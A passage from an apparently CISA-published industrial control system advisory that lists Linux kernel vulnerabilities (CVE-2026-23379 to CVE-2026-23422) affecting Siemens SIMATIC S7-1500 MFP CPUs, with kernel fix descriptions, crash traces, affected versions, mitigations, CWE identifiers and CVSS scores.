<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23379</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: fix divide by zero in the offload path Offloading ETS requires computing each class' WRR weight: this is done by averaging over the sums of quanta as 'q_sum' and 'q_psum'. Using unsigned int, the same integer size as the individual DRR quanta, can overflow and even cause division by zero, like it happened in the following splat: Oops: divide error: 0000 [#1] SMP PTI CPU: 13 UID: 0 PID: 487 Comm: tc Tainted: G E 6.19.0-virtme #45 PREEMPT(full) Tainted: [E]=UNSIGNED_MODULE Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets] Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 &lt;41&gt; f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44 RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246 RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660 RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000 FS: 00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0 Call Trace: ets_qdisc_change+0x870/0xf40 [sch_ets] qdisc_create+0x12b/0x540 tc_modify_qdisc+0x6d7/0xbd0 rtnetlink_rcv_msg+0x168/0x6b0 netlink_rcv_skb+0x5c/0x110 netlink_unicast+0x1d6/0x2b0 netlink_sendmsg+0x22e/0x470 ____sys_sendmsg+0x38a/0x3c0 ___sys_sendmsg+0x99/0xe0 __sys_sendmsg+0x8a/0xf0 do_syscall_64+0x111/0xf80 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f440b81c77e Code: 4d 89 d8 e8 d4 bc 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa RSP: 002b:00007fff951e4c10 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000000000481820 RCX: 00007f440b81c77e RDX: 0000000000000000 RSI: 00007fff951e4cd0 RDI: 0000000000000003 RBP: 00007fff951e4c20 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff951f4fa8 R13: 00000000699ddede R14: 00007f440bb01000 R15: 0000000000486980 Modules linked in: sch_ets(E) netdevsim(E) ---[ end trace 0000000000000000 ]--- RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets] Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 &lt;41&gt; f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44 RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246 RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660 RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000 FS: 00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0 Kernel panic - not syncing: Fatal exception Kernel Offset: 0x30000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) ---[ end Kernel panic - not syncing: Fatal exception ]--- Fix this using 64-bit integers for 'q_sum' and 'q_psum'.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23379">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23381</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bridge: fix nd_tbl NULL dereference when IPv6 is disabled When booting with the 'ipv6.disable=1' parameter, the nd_tbl is never initialized because inet6_init() exits before ndisc_init() is called which initializes it. Then, if neigh_suppress is enabled and an ICMPv6 Neighbor Discovery packet reaches the bridge, br_do_suppress_nd() will dereference ipv6_stub-&gt;nd_tbl which is NULL, passing it to neigh_lookup(). This causes a kernel NULL pointer dereference. BUG: kernel NULL pointer dereference, address: 0000000000000268 Oops: 0000 [#1] PREEMPT SMP NOPTI [...] RIP: 0010:neigh_lookup+0x16/0xe0 [...] Call Trace: ? neigh_lookup+0x16/0xe0 br_do_suppress_nd+0x160/0x290 [bridge] br_handle_frame_finish+0x500/0x620 [bridge] br_handle_frame+0x353/0x440 [bridge] __netif_receive_skb_core.constprop.0+0x298/0x1110 __netif_receive_skb_one_core+0x3d/0xa0 process_backlog+0xa0/0x140 __napi_poll+0x2c/0x170 net_rx_action+0x2c4/0x3a0 handle_softirqs+0xd0/0x270 do_softirq+0x3f/0x60 Fix this by replacing IS_ENABLED(IPV6) call with ipv6_mod_enabled() in the callers. This is in essence disabling NS/NA suppression when IPv6 is disabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23381">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23391</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: xt_CT: drop pending enqueued packets on template removal Templates refer to objects that can go away while packets are sitting in nfqueue refer to: - helper, this can be an issue on module removal. - timeout policy, nfnetlink_cttimeout might remove it. The use of templates with zone and event cache filter are safe, since this just copies values. Flush these enqueued packets in case the template rule gets removed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23391">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23392</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: release flowtable after rcu grace period on error Call synchronize_rcu() after unregistering the hooks from error path, since a hook that already refers to this flowtable can be already registered, exposing this flowtable to packet path and nfnetlink_hook control plane. This error path is rare, it should only happen by reaching the maximum number hooks or by failing to set up to hardware offload, just call synchronize_rcu(). There is a check for already used device hooks by different flowtable that could result in EEXIST at this late stage. The hook parser can be updated to perform this check earlier to this error path really becomes rarely exercised. Uncovered by KASAN reported as use-after-free from nfnetlink_hook path when dumping hooks.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23392">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23397</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfnetlink_osf: validate individual option lengths in fingerprints nfnl_osf_add_callback() validates opt_num bounds and string NUL-termination but does not check individual option length fields. A zero-length option causes nf_osf_match_one() to enter the option matching loop even when foptsize sums to zero, which matches packets with no TCP options where ctx-&gt;optp is NULL: Oops: general protection fault KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) Call Trace: nf_osf_match (net/netfilter/nfnetlink_osf.c:227) xt_osf_match_packet (net/netfilter/xt_osf.c:32) ipt_do_table (net/ipv4/netfilter/ip_tables.c:293) nf_hook_slow (net/netfilter/core.c:623) ip_local_deliver (net/ipv4/ip_input.c:262) ip_rcv (net/ipv4/ip_input.c:573) Additionally, an MSS option (kind=2) with length &lt; 4 causes out-of-bounds reads when nf_osf_match_one() unconditionally accesses optp[2] and optp[3] for MSS value extraction. While RFC 9293 section 3.2 specifies that the MSS option is always exactly 4 bytes (Kind=2, Length=4), the check uses "&lt; 4" rather than "!= 4" because lengths greater than 4 do not cause memory safety issues -- the buffer is guaranteed to be at least foptsize bytes by the ctx-&gt;optsize == foptsize check. Reject fingerprints where any option has zero length, or where an MSS option has length less than 4, at add time rather than trusting these values in the packet matching hot path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23397">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/130.html">CWE-130 Improper Handling of Length Parameter Inconsistency</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23398</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: icmp: fix NULL pointer dereference in icmp_tag_validation() icmp_tag_validation() unconditionally dereferences the result of rcu_dereference(inet_protos[proto]) without checking for NULL. The inet_protos[] array is sparse -- only about 15 of 256 protocol numbers have registered handlers. When ip_no_pmtu_disc is set to 3 (hardened PMTU mode) and the kernel receives an ICMP Fragmentation Needed error with a quoted inner IP header containing an unregistered protocol number, the NULL dereference causes a kernel panic in softirq context. Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017] RIP: 0010:icmp_unreach (net/ipv4/icmp.c:1085 net/ipv4/icmp.c:1143) Call Trace: icmp_rcv (net/ipv4/icmp.c:1527) ip_protocol_deliver_rcu (net/ipv4/ip_input.c:207) ip_local_deliver_finish (net/ipv4/ip_input.c:242) ip_local_deliver (net/ipv4/ip_input.c:262) ip_rcv (net/ipv4/ip_input.c:573) __netif_receive_skb_one_core (net/core/dev.c:6164) process_backlog (net/core/dev.c:6628) handle_softirqs (kernel/softirq.c:561) Add a NULL check before accessing icmp_strict_tag_validation. If the protocol has no registered handler, return false since it cannot perform strict tag validation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23398">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23414</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tls: Purge async_hold in tls_decrypt_async_wait() The async_hold queue pins encrypted input skbs while the AEAD engine references their scatterlist data. Once tls_decrypt_async_wait() returns, every AEAD operation has completed and the engine no longer references those skbs, so they can be freed unconditionally. A subsequent patch adds batch async decryption to tls_sw_read_sock(), introducing a new call site that must drain pending AEAD operations and release held skbs. Move __skb_queue_purge(&amp;ctx-&gt;async_hold) into tls_decrypt_async_wait() so the purge is centralized and every caller -- recvmsg's drain path, the -EBUSY fallback in tls_do_decryption(), and the new read_sock batch path -- releases held skbs on synchronization without each site managing the purge independently. This fixes a leak when tls_strp_msg_hold() fails part-way through, after having added some cloned skbs to the async_hold queue. tls_decrypt_sg() will then call tls_decrypt_async_wait() to process all pending decrypts, and drop back to synchronous mode, but tls_sw_recvmsg() only flushes the async_hold queue when one record has been processed in "fully-async" mode, which may not be the case here. [pabeni@redhat.com: added leak comment]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23414">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23422</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dpaa2-switch: Fix interrupt storm after receiving bad if_id in IRQ handler Commit 31a7a0bbeb00 ("dpaa2-switch: add bounds check for if_id in IRQ handler") introduces a range check for if_id to avoid an out-of-bounds access. If an out-of-bounds if_id is detected, the interrupt status is not cleared. This may result in an interrupt storm. Clear the interrupt status after detecting an out-of-bounds if_id to avoid the problem. Found by an experimental AI code review agent at Google.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23422">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
